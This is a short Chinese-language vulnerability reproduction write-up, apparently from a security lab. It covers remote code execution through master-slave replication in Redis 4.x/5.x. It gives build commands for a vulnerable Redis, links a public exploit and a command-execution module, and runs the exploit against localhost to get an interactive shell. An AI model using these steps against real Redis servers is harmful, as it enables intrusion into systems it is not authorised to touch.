Redis 4.x 5.x漏洞手動復現

文章說明: 本文來自山丘安全攻防實驗室A組成員:O8 文章類型:漏洞復現

前言:

Redis是一個開源的使用ANSI C語言編寫、支援網路、可基於記憶體亦可持久化的日誌型、Key-Value資料庫,並提供多種語言的API。

近期,Redis被爆出存在通過主從複製從而Getshell的漏洞。

以下是漏洞說明以及利用步驟

一、環境搭建

環境介紹:KAIL 2019 、 VM

環境搭建命令如下

cd /  wget download.redis.io/releases/redis-4.0.11.tar.gz  tar zxf redis-4.0.11.tar.gz  cd redis-4.0.11  make PREFIX=/usr/local/redis install

檢查安裝是否有問題

make test

如果報錯了:

yum -y install tcl

將源碼中redis.conf拷貝到/usr/local/redis目錄

cp /redis-4.0.11/redis.conf /usr/local/redis

修改redis.conf中「daemonize no」為「daemonize yes」,表示redis以後台的方式啟動

cd /usr/local/redis  vi redis.conf

伺服器啟動

/usr/local/redis/bin/redis-server /usr/local/redis/redis.conf

查看進程

ps -ef| grep redis

測試:

服務端停止服務

/usr/local/redis/bin/redis-cli shutdown

二、POC下載

https://github.com/Ridter/redis-rce

三、分析案例

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

四、編譯SO地址

https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

五、漏洞復現

1、後台啟動

/usr/local/redis/bin/redis-server /usr/local/redis/redis.conf

2、編譯文件下載並且編譯

root@solitary:/usr/local/redis#  git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
root@solitary:/usr/local/redis# cd RedisModules-ExecuteCommand/  root@solitary:/usr/local/redis/RedisModules-ExecuteCommand# make  root@solitary:/usr/local/redis/RedisModules-ExecuteCommand/src#  ls  Makefile  module.c  module.o  module.so

3、漏洞利用

將POC放入這個目錄

4、運行腳本

root@solitary:/usr/local/redis/RedisModules-ExecuteCommand/src#  python redis-rce.py -r 127.0.0.1 -L 127.0.0.1 -f module.so

輸入i

利用成功